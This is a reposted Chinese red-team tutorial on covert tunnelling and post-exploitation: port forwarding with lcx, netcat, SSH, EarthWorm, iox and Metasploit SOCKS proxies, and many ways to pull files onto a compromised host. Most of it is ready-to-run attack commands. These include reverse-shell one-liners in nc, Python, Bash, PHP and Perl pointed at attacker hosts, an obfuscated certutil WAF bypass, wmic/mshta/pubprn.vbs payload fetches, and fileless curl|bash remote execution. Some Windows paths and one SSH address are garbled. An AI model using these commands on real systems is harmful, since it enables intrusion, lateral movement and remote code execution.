7.1、概述
网络层:IPv6隧道、ICMP隧道、GRE隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
7.2、判断内网的连通性
7.2.1、ICMP协议
执行命令“ping <ip地址或域名>”
ping baidu.com
7.2.2、TCP协议
使用nc工具,执行“nc <ip地址 端口号>”
nc -zv 192.168.1.2 80
7.2.3、HTTP协议
使用curl工具,执行“curl <IP地址 端口号>”
curl www.baidu.com 80
7.2.4、DNS协议
在进行DNS连通性检测时,常用的命令为nslookup和dig,命令分别如下:
nslookup www.baidu.com vps-ip #使用nslookup工具
dig @vps-ip www.baidu.com A #使用dig工具
7.3、lcx端口转发
7.3.1、内网端口转发
在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上。
lcx.exe -slave <公网主机ip地址> 4444 127.0.0.1 3389
在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。
lcx.exe -listen 4444 5555
此时,用mstsc登录“<公网主机ip地址>:5555”,或者在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。
7.3.2、本地端口映射
如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口(例如53)。在目标主机上执行如下命令,就可以直接从远程桌面连接到目标主机的53端口。
lcx -tran 53 <目标主机IP地址> 3389
7.4、netcat的使用
1、端口监听
nc -l -p 9999
2、文件传输
在本地VPS主机中输入如下命令,开始监听,一旦连接建立,数据便会流入
nc -lp 333 > 1.txt
在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为test.txt的文本文件
nc -vn 192.168.1.4 333 < test.txt -q 1
3、简易聊天
在本地VPS上输入如下命令
nc -l -p 888
在目标主机上输入如下命令
nc -vn 192.168.1.4 888
具体的用法可以参考https://blog.csdn.net/cunjiu9486/article/details/109074000
7.5、shell的用法和介绍
shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端想要获取服务器的shell,就称为正向shell;如果客户端连接服务器,服务器想要获取客户端得到shell,就称为反向shell。反向shell通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等。
7.5.1、nc反弹shell
(1)、正向shell
输入以下命令,监听目标主机的4444端口:
nc -lvp 4444
输入如下命令,在本地或者vps主机上连接目标主机的4444端口
nc 192.168.1.11 4444 -e /bin/sh #Linux
nc 192.168.1.11 4444 -e C:WindowsSystem32cmd.exe #Windows
(2)、反向shell
输入如下命令,在本地或者VPS主机上监听本地9999端口
nc -lvp 9999
在目标主机中输入如下命令,连接VPS主机的9999端口
nc 139.9.33.11 9999 -e /bin/sh #Linux
nc 139.9.33.11 9999 -e C:WindowsSystem32cmd.exe #Windows
7.5.2、反弹shell总结
1、python反向shell
执行如下命令,在VPS上监听本地2222端口
nc -lvp 2222
在目标主机上执行命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
2、Bash反向shell
执行如下命令,在VPS上监听本地4444端口
nc -lvp 4444
在目标主机上执行如下命令
bash -i >& /dev/tcp/139.9.168.107/4444 0>&1
3、PHP反向shell
执行如下命令,在VPS上监听本地4444端口
nc -lvp 4444
执行如下命令实现PHP环境下的反弹shell
php -r '$sock=fsockopen("VPS的地址",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
4、Perl反向shell
执行如下命令,在VPS上监听本地4444端口
nc -lvp 4444
如果此时目标主机使用的是Perl,仍然可以使用Perl来建立反向shell,在目标主机上执行如下命令
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
不依赖/bin/bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
在window上运行
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
7.6、应用层隧道技术
7.6.1、SSH协议
创建SSH隧道的常用参数说明如下
-
-C:压缩传输,提高传输速度。
-
-f:将SSH传输转入后台执行,不占用当前的shell。
-
-N:建立静默连接(建立了连接,但是看不到具体会话)。
-
-g:允许远程主机连接本地用于转发的端口。
-
-L:本地端口转发。
-
-R:远程端口转发。
-
-D:动态转发(SOCKS代理)。
-
-P:执行SSH端口。
1、本地转发
环境说明:攻击者VPS【192.168.1.4】,攻击者VPS可以访问内网Web服务器【192.168.1.11、1.1.1.16】,但不能访问数据库服务器,内网Web服务器和数据库服务器【1.1.1.10】可以互相访问。测试目标为:以Web服务器为跳板。访问数据库服务器的3389端口。
以Web服务器192.168.1.11为跳板,将内网数据库服务器1.1.1.10的3389端口映射到VPS机器192.168.1.4的1153端口,再访问VPS的1153端口,就可以访问1.1.1.10的3389端口了。
ssh -CFNg -L 1153(vps端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.11(跳板机)
再连接本地1153端口即可访问数据库服务器的3389端口了
rdesktop 127.0.0.1:1153
2、远程转发
环境说明:攻击者VPS【192.168.1.4】,攻击者VPS不能访问内网中的三台服务器;内网Web服务器【1.1.1.200】可以访问外网VPS,数据库服务器(1.1.1.10)和域控制器(1.1.1.2)均不能访问外网VPS,测试目标为:通过外网VPS访问数据库服务器的3389端口。
以Web服务器为跳板,将VPS的3307端口的流量转发到1.1.1.10的3389端口,然后访问VPS的3307端口,就可以访问1.1.1.10的3389端口了。
在Web服务器1.1.1.200上执行如下命令:
ssh -CfNg -R 3307(vps端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.4
在本地访问VPS的3307端口,可以发现已经和数据库服务器1.1.1.10的3389端口建立了连接:
rdesktop 127.0.0.1:3307
3、动态转发
在VPS上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入Web服务器【192.168.1.11】的密码:
ssh -Cfng -D 7000 root@@1922.168.1.11
然后在本地打开浏览器,设置网络代理【127.0.0.1:7000】,通过浏览器访问内网域控制器1.1.1.2,动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。
7.6.2、HTTP/HTTPS协议
HTTP Service代理用于将所有的流量转发到内网,常见的代理工具如下:
https://github.com/sensepost/reGeorg
https://github.com/L-codes/Neo-reGeorg
7.6.3、DNS协议
在网络世界中,DNS是一个必不可少的服务;另一个方面,DNS报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件。而在网络安全攻防演练中,DNS隧道的应用场景如下:在安全策略严格的内网环境中,常见的C&C通信端口会被众多安全设备所监控,Red Team对目标内网的终端进行渗透测试,发现该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&c通信无法建立,在这样的情况下,Red Team可以使用DNS隐蔽隧道建立通信。
常见的DNS隐蔽隧道建立工具有dnscat2【https://github.com/iagox86/dnscat2】和iodine【https://github.com/yarrick/iodine】。
参考资料
https://xz.aliyun.com/t/2214
https://blog.csdn.net/localhost01/article/details/86591685
https://blog.csdn.net/tan6600/article/details/52142254
http://www.91ri.org/16386.html
7.7、socks代理
7.7.1、EarthWorm的应用
1、正向SOCK5服务器
以下命令适用于目标机器拥有一个外网IP地址的情况:
ew -s ssocksd -l 888
执行以上命令,即可架设一个端口为888的SOCKS代理。接下来使用Proxifier或者SockCap64添加这个IP地址的代理即可。
2、反弹SOCK5服务器
目标机器没有公网IP且需要访问内网资源的情况下可以使用该命令,首先,在你的VPS中执行以下命令:
ew -s rcsocks -l 1008 -e 888
该命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给888端口。
然后在目标机器上执行如下命令:
./ew -s rssocks -d 8.142.189.101 -e 80
现在访问公网VPS的1008端口就能访问内网资源了
3、二级网络资源(a)
场景假设:假设已经获取A主机和B主机【10.48.128.49】的控制权限。A主机配有两块网卡,一块能够连接外网,另一块(10.48.128.25)只能连接内网的B主机,但无法访问内网中的其他资源。B主机可以访问内网资源,但无法访问外网。
首先,将EW上传到B主机中,利用ssocksd方式启动888端口的SOCKS代理,命令如下:
ew -s ssocksd -l 888
然后,将EW上传到A主机中,执行如下命令:
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
该命令的意思是将1080端口收到的代理请求转发给B主机【10.48.128.49】的888端口,现在就能通过访问A主机的外网1080端口使用在B主机上架设的SOCKS5代理了。
4、二级网络环境(b)
场景假设:假设已经获取A主机和B主机【10.48.128.49】的控制权限,A主机既没有公网IP地址,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
首先,将EW上传到公网VPS中,执行如下命令:
ew -s lcx_listen -l 10800 -e 888
该命令的意思是在公网VPS中添加转接隧道,将10800端口收到的代理请求转发到888端口。接着将EW上传到B主机【10.48.128.49】中,并利用ssocksd方式启动999端口的SOCKS代理了,命令如下:
ew -s ssocksd -l 999
然后将EW上传到A主机中,执行如下命令:
ew -s lcx_slave -d [VPS的地址] -e 888 -f 10.48.128.49 -g 999
最后通过访问公网VPS的10800端口使用在B主机上架设的SOCKS5代理了。
7.1.2、IOX的应用
转发
监听0.0.0.0:8888和0.0.0.0:9999,将两个连接间的流量转发
./iox fwd -l 8888 -l 9999
监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
代理
在1.1.1.1上执行
iox.exe proxy -l 9999 -l 1080
在目标机上执行
iox.exe proxy -r 1.1.1.1:9999
出现以上提示即为转发成功
7.1.3、msf的应用
前期通过msf获取shell权限后,使用以下命令代建内网代理
use auxiliary/server/socks_proxy
set srvhost 1.1.1.1
set srvport 1080
run
然后打开/etc/proxychains.conf,在文件中加上
socks5 1.1.1.1 1080
7.8、上传和下载
7.8.1、Windows
1、通过certutil.exe下载文件
certutil.exe -urlcache -split -f http://127.0.0.1/2.exe
可通过以下变形绕过waf:
"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https://url/1.exe 1.exe
2、通过vbs下载文件
往往在实战中,没有上传的方便条件,尤其是目标机是windows,只有echo方式来写入vbs。将以下代码保存为downfile.vbs
set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2
命令行下执行,即可远程下载rebots.txt文件并保存为b.txt。
cscript downfile.vbs http://192.168.1.115/robots.txt C:Inetpubb.txt
在实际环境中,可以通过运行如下命令来写入vps
echo Set Post = CreateObject("Msxml2.XMLHTTP") hhh.vbs
echo Set Shell = CreateObject("Wscript.Shell") hhh.vbs
echo Post.Open "GET","http://127.0.0.1/1.exe",0 hhh.vbs
echo Post.Send() hhh.vbs
echo Set aGet = CreateObject("ADODB.Stream") hhh.vbs
echo aGet.Mode = 3 hhh.vbs
echo aGet.Type = 1 hhh.vbs
echo aGet.Open() hhh.vbs
echo aGet.Write(Post.responseBody) hhh.vbs
echo aGet.SaveToFile "2.exe",2 hhh.vbs
3、通过FTP下载文件
echo open 192.168.1.115 21 > ftp.txt
echo 123 >> ftp.txt //user
echo 123 >> ftp.txt //password
echo binary >> ftp.txt //bin模式
echo get robots.txt >> ftp.txt
echo bye >> ftp.txt
4、通过js下载文件
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
保存为1.js,命令行下执行:
cscript /nologo 1.js http://192.168.1.115/robots.txt
5、通过bitsadmin下载文件
BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。运行如下命令下载文件:
E:>bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:PDFrobots.txt
如果下载文件在1-5M之间,需要时时查看进度。同样它也支持进度条。
bitsadmin /transfer down /download /priority normal "http://192.168.1.115/robots.txt" E:PDFrobots.txt
注意:bitsadmin不支持HTTPS和FTP协议,也不支持Windows XP/Sever 2003及以前的版本。
6、通过powsershell下载文件
自Windows7以后内置了powershell,如Windows 7中内置了PowerShell2.0, Windows 8中内置了PowerShell3.0。
PowerShell2.0
$Urls = @()
$Urls += "http://192.168.1.115/robots.txt"
$OutPath = "E:PDF" ForEach ( $item in $Urls)
{
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file)
}
命令行下运行:
powershell -File down.ps1
PowerShell3.0
$url = "http://192.168.1.115/robots.txt"
$output = "C:inetpubrobots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
命令行下运行:
powershell C:inetpubdown1.ps1
注:需要绝对路径
你也可以使用一句话来下载文件:
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:robots.txt')
7、通过wmic下载文件
执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:
wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"
8、通过mshta下载文件
mshta用于执行.hta文件
mshta http://192.168.28.128/run.hta
9、通过pubprn.vbs下载文件
在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本,可以利用来解析.sct脚本:
"C:WindowsSystem32Printing_Admin_Scriptszh-CNpubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
7.8.2、Linux
1、通过curl下载文件
可以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。
方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash
方式2:bash < <( curl http://192.168.99.19:8080/test.sh )
2、通过wget下载文件
方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash
方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
3、curl和wget合并,实现无文件远程恶意代码执行
bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
4、通过rcp下载文件
rcp [email protected]:./testfile testfile
5、通过scp下载文件
scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。
scp username@servername:/path/filename /tmp/local_destination
6、通过rsync下载文件
使用rsync可以进行远程同步,拉取文件到本地服务器。
rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt
该内容转载自网络,更多内容请点击“阅读原文”
原文始发于微信公众号(web安全工具库):7、隐藏通信隧道基本知识
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论